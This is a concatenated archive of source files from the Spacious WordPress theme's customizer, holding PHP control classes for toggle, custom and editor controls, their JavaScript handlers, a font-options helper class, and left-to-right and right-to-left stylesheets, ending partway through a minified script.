<img src="{{{ data.choices[ key ] }}}" alt="{{{ data.choices_titles[ key ] }}}"> <# if ( '' !== data.choices_titles[ key ] ) { #> <span class="image-clickable tooltip-text">{{{ data.choices_titles[ key ] }}}</span> <# } #> </label> <# } #> </div> <?php } /** * Don't render the control content from PHP, as it's rendered via JS on load. */ public function render_content() { } } core/custom-controls/toggle/toggle.js000066600000001027152367043330013761 0ustar00/** * Switch toggle control JS to handle the toggle of custom customize controls. * * File `toggle.js`. * * @package Spacious */ wp.customize.controlConstructor['spacious-toggle'] = wp.customize.Control.extend( { ready : function () { 'use strict'; var control = this, value = control.setting._value; // Save the value. this.container.on( 'change', 'input', function () { value = jQuery( this ).is( ':checked' ) ? true : false; control.setting.set( value ); } ); } } ); core/custom-controls/toggle/class-spacious-toggle-control.php000066600000005017152367043330020544 0ustar00<?php /** * Extend WP_Customize_Control to add the switch toggle control. * * Class Spacious_Toggle_Control * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to extend WP_Customize_Control to add the switch toggle customize control. * * Class Spacious_Toggle_Control */ class Spacious_Toggle_Control extends Spacious_Customize_Base_Additional_Control { /** * Control's Type. * * @var string */ public $type = 'spacious-toggle'; /** * Refresh the parameters passed to the JavaScript via JSON. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['default'] = $this->setting->default; if ( isset( $this->default ) ) { $this->json['default'] = $this->default; } $this->json['value'] = $this->value(); $this->json['link'] = $this->get_link(); $this->json['id'] = $this->id; $this->json['label'] = esc_html( $this->label ); $this->json['description'] = $this->description; $this->json['inputAttrs'] = ''; foreach ( $this->input_attrs as $attr => $value ) { $this->json['inputAttrs'] .= $attr . '="' . esc_attr( $value ) . '" '; } } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?> <div class="customizer-text"> <# if ( data.label ) { #> <span class="customize-control-title">{{{ data.label }}}</span> <# } #> <# if ( data.description ) { #> <span class="description customize-control-description">{{{ data.description }}}</span> <# } #> </div> <label for="toggle_{{ data.id }}" class="<# if ( data.description ) { #>toggle-description<# } #>" > <input {{{ data.inputAttrs }}} class="switch-toggle" type="checkbox" value="{{ data.value }}" name="_customize-toggle-{{ data.id }}" id="toggle_{{ data.id }}" {{{ data.link }}} <# if ( data.value === true ) { #> checked="checked"<# } #> > <span class="switch"></span> </label> <?php } /** * Don't render the control content from PHP, as it's rendered via JS on load. */ public function render_content() { } } core/custom-controls/custom/class-spacious-custom-control.php000066600000004722152367043330020630 0ustar00<?php /** * Extend WP_Customize_Control to add custom control. * * Class Spacious_Custom_Control * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to extend WP_Customize_Control to add custom customize control. * * Class Spacious_Custom_Control */ class Spacious_Custom_Control extends Spacious_Customize_Base_Additional_Control { /** * Control's Type. * * @var string */ public $type = 'spacious-custom'; /** * Custom information for this control. * * @var string */ public $info = ''; /** * Custom links for this control. * * @var array */ public $links = array(); /** * Refresh the parameters passed to the JavaScript via JSON. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['default'] = $this->setting->default; if ( isset( $this->default ) ) { $this->json['default'] = $this->default; } $this->json['value'] = $this->value(); $this->json['link'] = $this->get_link(); $this->json['id'] = $this->id; $this->json['label'] = esc_html( $this->label ); $this->json['description'] = $this->description; $this->json['info'] = $this->info; $this->json['links'] = $this->links; } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?> <div class="customizer-text"> <# if ( data.label ) { #> <span class="customize-control-title">{{{ data.label }}}</span> <# } #> <# if ( data.description ) { #> <span class="description customize-control-description">{{{ data.description }}}</span> <# } #> </div> <# if ( data.info ) { #> <div class="spacious-custom-info"> {{{ data.info }}} </div> <# } #> <# if ( data.links ) { #> <ul class="spacious-custom-links"> <# _.each( data.links, function( links, id ) { #> <li><a href="{{{ links.url }}}" target="_blank">{{{ links.text }}}</a></li> <# } ) #> </ul> <# } #> <?php } /** * Don't render the control content from PHP, as it's rendered via JS on load. */ public function render_content() { } } core/custom-controls/editor/editor.js000066600000001743152367043330014000 0ustar00/** * Editor control JS to handle the editor rendering within customize control. * * File `editor.js`. * * @package Spacious */ wp.customize.controlConstructor[ 'spacious-editor' ] = wp.customize.Control.extend( { ready : function () { 'use strict'; var control = this, id = 'editor_' + control.id; wp.editor.initialize( id, { tinymce : { wpautop : true }, quicktags : true, mediaButtons : true } ); }, onChangeActive : function ( active, args ) { 'use strict'; var control = this, id = 'editor_' + control.id, element = control.container.find( 'textarea' ), editor; editor = tinyMCE.get( id ); if ( editor ) { editor.onChange.add( function ( ed ) { var content; ed.save(); content = editor.getContent(); element.val( content ).trigger( 'change' ); wp.customize.instance( control.id ).set( content ); } ); } } } ); core/custom-controls/editor/class-spacious-editor-control.php000066600000003736152367043330020564 0ustar00<?php /** * Extend WP_Customize_Control to add the editor control. * * Class Spacious_Editor_Control * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to extend WP_Customize_Control to add the editor customize control. * * Class Spacious_Editor_Control */ class Spacious_Editor_Control extends Spacious_Customize_Base_Additional_Control { /** * Control's Type. * * @var string */ public $type = 'spacious-editor'; /** * Refresh the parameters passed to the JavaScript via JSON. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['default'] = $this->setting->default; if ( isset( $this->default ) ) { $this->json['default'] = $this->default; } $this->json['value'] = $this->value(); $this->json['link'] = $this->get_link(); $this->json['id'] = $this->id; $this->json['label'] = esc_html( $this->label ); $this->json['description'] = $this->description; } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?> <div class="customizer-text"> <# if ( data.label ) { #> <span class="customize-control-title">{{{ data.label }}}</span> <# } #> <# if ( data.description ) { #> <span class="description customize-control-description">{{{ data.description }}}</span> <# } #> </div> <textarea id="editor_{{{ data.id }}}" {{{ data.link }}}>{{ data.value }}</textarea> <?php } /** * Don't render the control content from PHP, as it's rendered via JS on load. */ public function render_content() { } } core/class-spacious-fonts.php000066600000016255152367043330012310 0ustar00<?php /** * Helper class for font settings for this theme. * * Class Spacious_Fonts * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Helper class for font settings for this theme. * * Class Spacious_Fonts */ class Spacious_Fonts { /** * System Fonts * * @var array */ public static $system_fonts = array(); /** * Google Fonts * * @var array */ public static $google_fonts = array(); /** * Custom Fonts * * @var array */ public static $custom_fonts = array(); /** * Font variants * * @var array */ public static $font_variants = array(); /** * Google font subsets * * @var array */ public static $google_font_subsets = array(); /** * Get system fonts. * * @return mixed|void */ public static function get_system_fonts() { if ( empty( self::$system_fonts ) ) : self::$system_fonts = array( 'default' => array( 'family' => 'default', 'label' => 'Default', ), 'Georgia,Times,"Times New Roman",serif' => array( 'family' => 'Georgia,Times,"Times New Roman",serif', 'label' => 'serif', ), '-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", Helvetica, Arial, sans-serif' => array( 'family' => '-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", Helvetica, Arial, sans-serif', 'label' => 'sans-serif', ), 'Monaco,"Lucida Sans Typewriter","Lucida Typewriter","Courier New",Courier,monospace' => array( 'family' => 'Monaco,"Lucida Sans Typewriter","Lucida Typewriter","Courier New",Courier,monospace', 'label' => 'monospace', ), ); endif; return apply_filters( 'spacious_system_fonts', self::$system_fonts ); } /** * Get Google fonts. * It's array is generated from the google-fonts.json file. * * @return mixed|void */ public static function get_google_fonts() { if ( empty( self::$google_fonts ) ) : global $wp_filesystem; $google_fonts_file = apply_filters( 'spacious_google_fonts_json_file', dirname(__FILE__) . '/custom-controls/typography/google-fonts.json' ); if ( ! file_exists( dirname(__FILE__) . '/custom-controls/typography/google-fonts.json' ) ) { return array(); } // Require `file.php` file of WordPress to include filesystem check for getting the file contents. if ( ! $wp_filesystem ) { require_once ABSPATH . '/wp-admin/includes/file.php'; } // Proceed only if the file is readable. if ( is_readable( $google_fonts_file ) ) { WP_Filesystem(); $file_contents = $wp_filesystem->get_contents( $google_fonts_file ); $google_fonts_json = json_decode( $file_contents, 1 ); foreach ( $google_fonts_json['items'] as $key => $font ) { $google_fonts[ $font['family'] ] = array( 'family' => $font['family'], 'label' => $font['family'], 'variants' => $font['variants'], 'subsets' => $font['subsets'], ); self::$google_fonts = $google_fonts; } } endif; return apply_filters( 'spacious_system_fonts', self::$google_fonts ); } /** * Get custom fonts. * * @return mixed|void */ public static function get_custom_fonts() { return apply_filters( 'spacious_custom_fonts', self::$custom_fonts ); } /** * Get font variants. * * @return mixed|void */ public static function get_font_variants() { if ( empty( self::$font_variants ) ) : self::$font_variants = array( '100' => esc_html__( 'Thin 100', 'spacious' ), '100italic' => esc_html__( 'Thin 100 Italic', 'spacious' ), '200' => esc_html__( 'Extra-Light 200', 'spacious' ), '200italic' => esc_html__( 'Extra-Light 200 Italic', 'spacious' ), '300' => esc_html__( 'Light 300', 'spacious' ), '300italic' => esc_html__( 'Light 300 Italic', 'spacious' ), 'regular' => esc_html__( 'Regular 400', 'spacious' ), 'italic' => esc_html__( 'Regular 400 Italic', 'spacious' ), '500' => esc_html__( 'Medium 500', 'spacious' ), '500italic' => esc_html__( 'Medium 500 Italic', 'spacious' ), '600' => esc_html__( 'Semi-Bold 600', 'spacious' ), '600italic' => esc_html__( 'Semi-Bold 600 Italic', 'spacious' ), '700' => esc_html__( 'Bold 700', 'spacious' ), '700italic' => esc_html__( 'Bold 700 Italic', 'spacious' ), '800' => esc_html__( 'Extra-Bold 800', 'spacious' ), '800italic' => esc_html__( 'Extra-Bold 800 Italic', 'spacious' ), '900' => esc_html__( 'Black 900', 'spacious' ), '900italic' => esc_html__( 'Black 900 Italic', 'spacious' ), ); endif; return apply_filters( 'spacious_font_variants', self::$font_variants ); } /** * Get Google font subsets. * * @return mixed|void */ public static function get_google_font_subsets() { if ( empty( self::$google_font_subsets ) ) : self::$google_font_subsets = array( 'arabic' => esc_html__( 'Arabic', 'spacious' ), 'bengali' => esc_html__( 'Bengali', 'spacious' ), 'chinese-hongkong' => esc_html__( 'Chinese (Hong Kong)', 'spacious' ), 'chinese-simplified' => esc_html__( 'Chinese (Simplified)', 'spacious' ), 'chinese-traditional' => esc_html__( 'Chinese (Traditional)', 'spacious' ), 'cyrillic' => esc_html__( 'Cyrillic', 'spacious' ), 'cyrillic-ext' => esc_html__( 'Cyrillic Extended', 'spacious' ), 'devanagari' => esc_html__( 'Devanagari', 'spacious' ), 'greek' => esc_html__( 'Greek', 'spacious' ), 'greek-ext' => esc_html__( 'Greek Extended', 'spacious' ), 'gujarati' => esc_html__( 'Gujarati', 'spacious' ), 'gurmukhi' => esc_html__( 'Gurmukhi', 'spacious' ), 'hebrew' => esc_html__( 'Hebrew', 'spacious' ), 'japanese' => esc_html__( 'Japanese', 'spacious' ), 'kannada' => esc_html__( 'Kannada', 'spacious' ), 'khmer' => esc_html__( 'Khmer', 'spacious' ), 'korean' => esc_html__( 'Korean', 'spacious' ), 'latin' => esc_html__( 'Latin', 'spacious' ), 'latin-ext' => esc_html__( 'Latin Extended', 'spacious' ), 'malayalam' => esc_html__( 'Malayalam', 'spacious' ), 'myanmar' => esc_html__( 'Myanmar', 'spacious' ), 'oriya' => esc_html__( 'Oriya', 'spacious' ), 'sinhala' => esc_html__( 'Sinhala', 'spacious' ), 'tamil' => esc_html__( 'Tamil', 'spacious' ), 'telugu' => esc_html__( 'Telugu', 'spacious' ), 'thai' => esc_html__( 'Thai', 'spacious' ), 'tibetan' => esc_html__( 'Tibetan', 'spacious' ), 'vietnamese' => esc_html__( 'Vietnamese', 'spacious' ), ); endif; return apply_filters( 'spacious_font_variants', self::$google_font_subsets ); } } core/assets/css/extend-customizer.min-rtl.css000066600000011561152367043330015370 0ustar00a{color:#0073aa}a:focus{-webkit-box-shadow:0 0 0 1px rgba(0,115,170,0.8);box-shadow:0 0 0 1px rgba(0,115,170,0.8)}.button{background:#ebebeb;border-color:#0073aa;color:#0073aa;font-weight:600;-webkit-transition:all .15s cubic-bezier(0.4,0,0.2,1);transition:all .15s cubic-bezier(0.4,0,0.2,1)}.button:hover{background:#fff;color:#0073aa}.select2-container--default .select2-selection--single .select2-selection__arrow b{margin-top:0}.tg-section-separator{display:block !important;margin-top:4px}.customize-section-description .spacious-section-description ul{margin:0}.customize-section-description .spacious-section-description ul>li{list-style:none}.customize-section-description .spacious-section-description ul>li:last-child{margin-bottom:0}.customize-section-description .spacious-section-description a{font-style:italic}.customize-control{background:#fff;-webkit-box-sizing:border-box;box-sizing:border-box;margin-bottom:0;padding:10px;position:relative}.customize-control .customize-control-title{color:#444;font-size:14px;font-weight:600;margin-bottom:0}.customize-control .spacious-control-tooltip{position:absolute;left:10px;top:9px}.customize-control .spacious-control-tooltip:hover{cursor:pointer}.customize-control .attachment-media-view .button-add-media{background:#ebebeb}.customize-control .attachment-media-view .button-add-media:hover{background:#fff}.customize-control select,.customize-control input[type]:not([type=range]):not([type=button]):not([type=submit]):not([type=checkbox]):not([type=radio]),.customize-control .select2-selection--single{border-color:#eee;border-radius:2px;height:33px}.customize-control .customize-inside-control-row{padding-bottom:0;padding-top:0}.customize-control.customize-control-radio .customize-inside-control-row,.customize-control.customize-control-checkbox .customize-inside-control-row{padding-bottom:6px;padding-top:6px}.customize-control.has-responsive-switchers .responsive-switchers{position:absolute;left:0;top:-3px}.customize-control.has-responsive-switchers .responsive-switchers li{float:right;line-height:0;margin:0;padding-left:2px}.customize-control.has-responsive-switchers .responsive-switchers li button{background:transparent;border:0;color:rgba(68,68,68,0.5);cursor:pointer;outline:0;padding:2px}.customize-control.has-responsive-switchers .responsive-switchers li button i{font-size:14px;line-height:20px}.customize-control.has-responsive-switchers .responsive-switchers li button.active{color:#0073aa}.customize-control.has-responsive-switchers .control-wrap:not(.active){display:none;width:100%}.in-sub-panel #customize-theme-controls .customize-pane-child.current-panel-parent{-webkit-transform:translateX(100%);transform:translateX(100%)}#customize-theme-controls .customize-pane-child.current-section-parent{-webkit-transform:translateX(100%);transform:translateX(100%)}#customize-theme-controls .control-section.open{height:100%}#customize-theme-controls .control-section.control-section-spacious_section .accordion-section{margin-right:-12px;margin-left:-12px}#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title{background-color:#fff;border-bottom:1px solid #ebebeb;border-right:4px solid #fff;color:#444;-webkit-transition:.15s color ease-in-out,.15s background-color ease-in-out,.15s border-color ease-in-out;transition:.15s color ease-in-out,.15s background-color ease-in-out,.15s border-color ease-in-out}#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:after{color:#a0a5aa}#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:hover,#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:focus{background:#f3f3f5;border-right-color:#0073aa;color:#0073aa}#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:hover:after{color:#0073aa}#customize-theme-controls .accordion-section-title{border-color:#ebebeb;color:#444;font-weight:600}#customize-theme-controls .accordion-section-title:hover,#customize-theme-controls .accordion-section-title:focus{border-right-color:#0073aa;color:#0073aa}.spacious-hide{display:none !important}.customize-control-checkbox,.customize-control-radio{padding-bottom:5px;padding-top:5px}#accordion-section-spacious_customize_upsell_section h3.accordion-section-title{background-color:#289dcc !important;border-right-color:#0073aa;color:#fff !important;padding:0}#accordion-section-spacious_customize_upsell_section h3.accordion-section-title a{color:#fff;display:block;padding:12px 15px 15px;text-decoration:none}#accordion-section-spacious_customize_upsell_section h3.accordion-section-title a:hover{background-color:#1f91bf !important}#accordion-section-spacious_customize_upsell_section h3.accordion-section-title:after{color:#fff !important}#accordion-section-spacious_customize_upsell_section h3 a::after{color:#fff}core/assets/css/extend-customizer-rtl.css000066600000012641152367043330014606 0ustar00a { color: #0073aa; } a:focus { -webkit-box-shadow: 0 0 0 1px rgba(0, 115, 170, 0.8); box-shadow: 0 0 0 1px rgba(0, 115, 170, 0.8); } .button { background: #ebebeb; border-color: #0073aa; color: #0073aa; font-weight: 600; -webkit-transition: all 0.15s cubic-bezier(0.4, 0, 0.2, 1); transition: all 0.15s cubic-bezier(0.4, 0, 0.2, 1); } .button:hover { background: #ffffff; color: #0073aa; } .select2-container--default .select2-selection--single .select2-selection__arrow b { margin-top: 0; } .tg-section-separator { display: block !important; margin-top: 4px; } .customize-section-description .spacious-section-description ul { margin: 0; } .customize-section-description .spacious-section-description ul > li { list-style: none; } .customize-section-description .spacious-section-description ul > li:last-child { margin-bottom: 0; } .customize-section-description .spacious-section-description a { font-style: italic; } .customize-control { background: #fff; -webkit-box-sizing: border-box; box-sizing: border-box; margin-bottom: 0; padding: 10px; position: relative; } .customize-control .customize-control-title { color: #444444; font-size: 14px; font-weight: 600; margin-bottom: 0px; } .customize-control .spacious-control-tooltip { position: absolute; left: 10px; top: 9px; } .customize-control .spacious-control-tooltip:hover { cursor: pointer; } .customize-control .attachment-media-view .button-add-media { background: #ebebeb; } .customize-control .attachment-media-view .button-add-media:hover { background: #ffffff; } .customize-control select, .customize-control input[type]:not([type=range]):not([type=button]):not([type=submit]):not([type=checkbox]):not([type=radio]), .customize-control .select2-selection--single { border-color: #eeeeee; border-radius: 2px; height: 33px; } .customize-control .customize-inside-control-row { padding-bottom: 0; padding-top: 0; } .customize-control.customize-control-radio .customize-inside-control-row, .customize-control.customize-control-checkbox .customize-inside-control-row { padding-bottom: 6px; padding-top: 6px; } .customize-control.has-responsive-switchers .responsive-switchers { position: absolute; left: 0; top: -3px; } .customize-control.has-responsive-switchers .responsive-switchers li { float: right; line-height: 0; margin: 0; padding-left: 2px; } .customize-control.has-responsive-switchers .responsive-switchers li button { background: transparent; border: none; color: rgba(68, 68, 68, 0.5); cursor: pointer; outline: none; padding: 2px; } .customize-control.has-responsive-switchers .responsive-switchers li button i { font-size: 14px; line-height: 20px; } .customize-control.has-responsive-switchers .responsive-switchers li button.active { color: #0073aa; } .customize-control.has-responsive-switchers .control-wrap:not(.active) { display: none; width: 100%; } .in-sub-panel #customize-theme-controls .customize-pane-child.current-panel-parent { -webkit-transform: translateX(100%); transform: translateX(100%); } #customize-theme-controls .customize-pane-child.current-section-parent { -webkit-transform: translateX(100%); transform: translateX(100%); } #customize-theme-controls .control-section.open { height: 100%; } #customize-theme-controls .control-section.control-section-spacious_section .accordion-section { margin-right: -12px; margin-left: -12px; } #customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title { background-color: #ffffff; border-bottom: 1px solid #ebebeb; border-right: 4px solid #ffffff; color: #444444; -webkit-transition: .15s color ease-in-out, .15s background-color ease-in-out, .15s border-color ease-in-out; transition: .15s color ease-in-out, .15s background-color ease-in-out, .15s border-color ease-in-out; } #customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:after { color: #a0a5aa; } #customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:hover, #customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:focus { background: #f3f3f5; border-right-color: #0073aa; color: #0073aa; } #customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:hover:after { color: #0073aa; } #customize-theme-controls .accordion-section-title { border-color: #ebebeb; color: #444444; font-weight: 600; } #customize-theme-controls .accordion-section-title:hover, #customize-theme-controls .accordion-section-title:focus { border-right-color: #0073aa; color: #0073aa; } .spacious-hide { display: none !important; } .customize-control-checkbox, .customize-control-radio { padding-bottom: 5px; padding-top: 5px; } #accordion-section-spacious_customize_upsell_section h3.accordion-section-title { background-color: #289DCC !important; border-right-color: #0073aa; color: #fff !important; padding: 0; } #accordion-section-spacious_customize_upsell_section h3.accordion-section-title a { color: #fff; display: block; padding: 12px 15px 15px; text-decoration: none; } #accordion-section-spacious_customize_upsell_section h3.accordion-section-title a:hover { background-color: #1f91bf !important; } #accordion-section-spacious_customize_upsell_section h3.accordion-section-title:after { color: #fff !important; } #accordion-section-spacious_customize_upsell_section h3 a::after { color: #fff; } core/assets/css/extend-customizer.min.css000066600000011563152367043330014573 0ustar00a{color:#0073aa}a:focus{-webkit-box-shadow:0 0 0 1px rgba(0,115,170,0.8);box-shadow:0 0 0 1px rgba(0,115,170,0.8)}.button{background:#ebebeb;border-color:#0073aa;color:#0073aa;font-weight:600;-webkit-transition:all .15s cubic-bezier(0.4,0,0.2,1);transition:all .15s cubic-bezier(0.4,0,0.2,1)}.button:hover{background:#fff;color:#0073aa}.select2-container--default .select2-selection--single .select2-selection__arrow b{margin-top:0}.tg-section-separator{display:block !important;margin-top:4px}.customize-section-description .spacious-section-description ul{margin:0}.customize-section-description .spacious-section-description ul>li{list-style:none}.customize-section-description .spacious-section-description ul>li:last-child{margin-bottom:0}.customize-section-description .spacious-section-description a{font-style:italic}.customize-control{background:#fff;-webkit-box-sizing:border-box;box-sizing:border-box;margin-bottom:0;padding:10px;position:relative}.customize-control .customize-control-title{color:#444;font-size:14px;font-weight:600;margin-bottom:0}.customize-control .spacious-control-tooltip{position:absolute;right:10px;top:9px}.customize-control .spacious-control-tooltip:hover{cursor:pointer}.customize-control .attachment-media-view .button-add-media{background:#ebebeb}.customize-control .attachment-media-view .button-add-media:hover{background:#fff}.customize-control select,.customize-control input[type]:not([type=range]):not([type=button]):not([type=submit]):not([type=checkbox]):not([type=radio]),.customize-control .select2-selection--single{border-color:#eee;border-radius:2px;height:33px}.customize-control .customize-inside-control-row{padding-bottom:0;padding-top:0}.customize-control.customize-control-radio .customize-inside-control-row,.customize-control.customize-control-checkbox .customize-inside-control-row{padding-bottom:6px;padding-top:6px}.customize-control.has-responsive-switchers .responsive-switchers{position:absolute;right:0;top:-3px}.customize-control.has-responsive-switchers .responsive-switchers li{float:left;line-height:0;margin:0;padding-right:2px}.customize-control.has-responsive-switchers .responsive-switchers li button{background:transparent;border:0;color:rgba(68,68,68,0.5);cursor:pointer;outline:0;padding:2px}.customize-control.has-responsive-switchers .responsive-switchers li button i{font-size:14px;line-height:20px}.customize-control.has-responsive-switchers .responsive-switchers li button.active{color:#0073aa}.customize-control.has-responsive-switchers .control-wrap:not(.active){display:none;width:100%}.in-sub-panel #customize-theme-controls .customize-pane-child.current-panel-parent{-webkit-transform:translateX(-100%);transform:translateX(-100%)}#customize-theme-controls .customize-pane-child.current-section-parent{-webkit-transform:translateX(-100%);transform:translateX(-100%)}#customize-theme-controls .control-section.open{height:100%}#customize-theme-controls .control-section.control-section-spacious_section .accordion-section{margin-left:-12px;margin-right:-12px}#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title{background-color:#fff;border-bottom:1px solid #ebebeb;border-left:4px solid #fff;color:#444;-webkit-transition:.15s color ease-in-out,.15s background-color ease-in-out,.15s border-color ease-in-out;transition:.15s color ease-in-out,.15s background-color ease-in-out,.15s border-color ease-in-out}#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:after{color:#a0a5aa}#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:hover,#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:focus{background:#f3f3f5;border-left-color:#0073aa;color:#0073aa}#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:hover:after{color:#0073aa}#customize-theme-controls .accordion-section-title{border-color:#ebebeb;color:#444;font-weight:600}#customize-theme-controls .accordion-section-title:hover,#customize-theme-controls .accordion-section-title:focus{border-left-color:#0073aa;color:#0073aa}.spacious-hide{display:none !important}.customize-control-checkbox,.customize-control-radio{padding-bottom:5px;padding-top:5px}#accordion-section-spacious_customize_upsell_section h3.accordion-section-title{background-color:#289dcc !important;border-left-color:#0073aa;color:#fff !important;padding:0}#accordion-section-spacious_customize_upsell_section h3.accordion-section-title a{color:#fff;display:block;padding:12px 15px 15px;text-decoration:none}#accordion-section-spacious_customize_upsell_section h3.accordion-section-title a:hover{background-color:#1f91bf !important}#accordion-section-spacious_customize_upsell_section h3.accordion-section-title:after{color:#fff !important}#accordion-section-spacious_customize_upsell_section h3 a::after{color:#fff}core/assets/css/extend-customizer.css000066600000012643152367043330014011 0ustar00a { color: #0073aa; } a:focus { -webkit-box-shadow: 0 0 0 1px rgba(0, 115, 170, 0.8); box-shadow: 0 0 0 1px rgba(0, 115, 170, 0.8); } .button { background: #ebebeb; border-color: #0073aa; color: #0073aa; font-weight: 600; -webkit-transition: all 0.15s cubic-bezier(0.4, 0, 0.2, 1); transition: all 0.15s cubic-bezier(0.4, 0, 0.2, 1); } .button:hover { background: #ffffff; color: #0073aa; } .select2-container--default .select2-selection--single .select2-selection__arrow b { margin-top: 0; } .tg-section-separator { display: block !important; margin-top: 4px; } .customize-section-description .spacious-section-description ul { margin: 0; } .customize-section-description .spacious-section-description ul > li { list-style: none; } .customize-section-description .spacious-section-description ul > li:last-child { margin-bottom: 0; } .customize-section-description .spacious-section-description a { font-style: italic; } .customize-control { background: #fff; -webkit-box-sizing: border-box; box-sizing: border-box; margin-bottom: 0; padding: 10px; position: relative; } .customize-control .customize-control-title { color: #444444; font-size: 14px; font-weight: 600; margin-bottom: 0px; } .customize-control .spacious-control-tooltip { position: absolute; right: 10px; top: 9px; } .customize-control .spacious-control-tooltip:hover { cursor: pointer; } .customize-control .attachment-media-view .button-add-media { background: #ebebeb; } .customize-control .attachment-media-view .button-add-media:hover { background: #ffffff; } .customize-control select, .customize-control input[type]:not([type=range]):not([type=button]):not([type=submit]):not([type=checkbox]):not([type=radio]), .customize-control .select2-selection--single { border-color: #eeeeee; border-radius: 2px; height: 33px; } .customize-control .customize-inside-control-row { padding-bottom: 0; padding-top: 0; } .customize-control.customize-control-radio .customize-inside-control-row, .customize-control.customize-control-checkbox .customize-inside-control-row { padding-bottom: 6px; padding-top: 6px; } .customize-control.has-responsive-switchers .responsive-switchers { position: absolute; right: 0; top: -3px; } .customize-control.has-responsive-switchers .responsive-switchers li { float: left; line-height: 0; margin: 0; padding-right: 2px; } .customize-control.has-responsive-switchers .responsive-switchers li button { background: transparent; border: none; color: rgba(68, 68, 68, 0.5); cursor: pointer; outline: none; padding: 2px; } .customize-control.has-responsive-switchers .responsive-switchers li button i { font-size: 14px; line-height: 20px; } .customize-control.has-responsive-switchers .responsive-switchers li button.active { color: #0073aa; } .customize-control.has-responsive-switchers .control-wrap:not(.active) { display: none; width: 100%; } .in-sub-panel #customize-theme-controls .customize-pane-child.current-panel-parent { -webkit-transform: translateX(-100%); transform: translateX(-100%); } #customize-theme-controls .customize-pane-child.current-section-parent { -webkit-transform: translateX(-100%); transform: translateX(-100%); } #customize-theme-controls .control-section.open { height: 100%; } #customize-theme-controls .control-section.control-section-spacious_section .accordion-section { margin-left: -12px; margin-right: -12px; } #customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title { background-color: #ffffff; border-bottom: 1px solid #ebebeb; border-left: 4px solid #ffffff; color: #444444; -webkit-transition: .15s color ease-in-out, .15s background-color ease-in-out, .15s border-color ease-in-out; transition: .15s color ease-in-out, .15s background-color ease-in-out, .15s border-color ease-in-out; } #customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:after { color: #a0a5aa; } #customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:hover, #customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:focus { background: #f3f3f5; border-left-color: #0073aa; color: #0073aa; } #customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:hover:after { color: #0073aa; } #customize-theme-controls .accordion-section-title { border-color: #ebebeb; color: #444444; font-weight: 600; } #customize-theme-controls .accordion-section-title:hover, #customize-theme-controls .accordion-section-title:focus { border-left-color: #0073aa; color: #0073aa; } .spacious-hide { display: none !important; } .customize-control-checkbox, .customize-control-radio { padding-bottom: 5px; padding-top: 5px; } #accordion-section-spacious_customize_upsell_section h3.accordion-section-title { background-color: #289DCC !important; border-left-color: #0073aa; color: #fff !important; padding: 0; } #accordion-section-spacious_customize_upsell_section h3.accordion-section-title a { color: #fff; display: block; padding: 12px 15px 15px; text-decoration: none; } #accordion-section-spacious_customize_upsell_section h3.accordion-section-title a:hover { background-color: #1f91bf !important; } #accordion-section-spacious_customize_upsell_section h3.accordion-section-title:after { color: #fff !important; } #accordion-section-spacious_customize_upsell_section h3 a::after { color: #fff; } core/assets/js/customizer-controls.min.js000066600000000734152367043330014615 0ustar00!function(c){var r=wp.customize;SpaciousCustomizer={controls:{},init:function(){SpaciousCustomizer._initToggles()},_initToggles:function(){SpaciousControlTrigger.triggerHook("spacious-toggle-control",r),c.each(SpaciousCustomizerToggles,function(o,n){r(o,function(i){c.each(n,function(o,t){c.each(t.controls,function(o,n){r.control(n,function(n){function o(o){n.container.toggle(t.callback(o))}o(i.get()),i.bind(o)})})})})})}},c(function(){SpaciousCustomizer.init()})}(jQuery);core/assets/js/extend-customizer.min.js000066600000011534152367043330014241 0ustar00!function(o){var e,i,t,n,a,s;wp.customize.bind("pane-contents-reflowed",function(){var t=[],n=[];wp.customize.section.each(function(e){"spacious_section"===e.params.type&&void 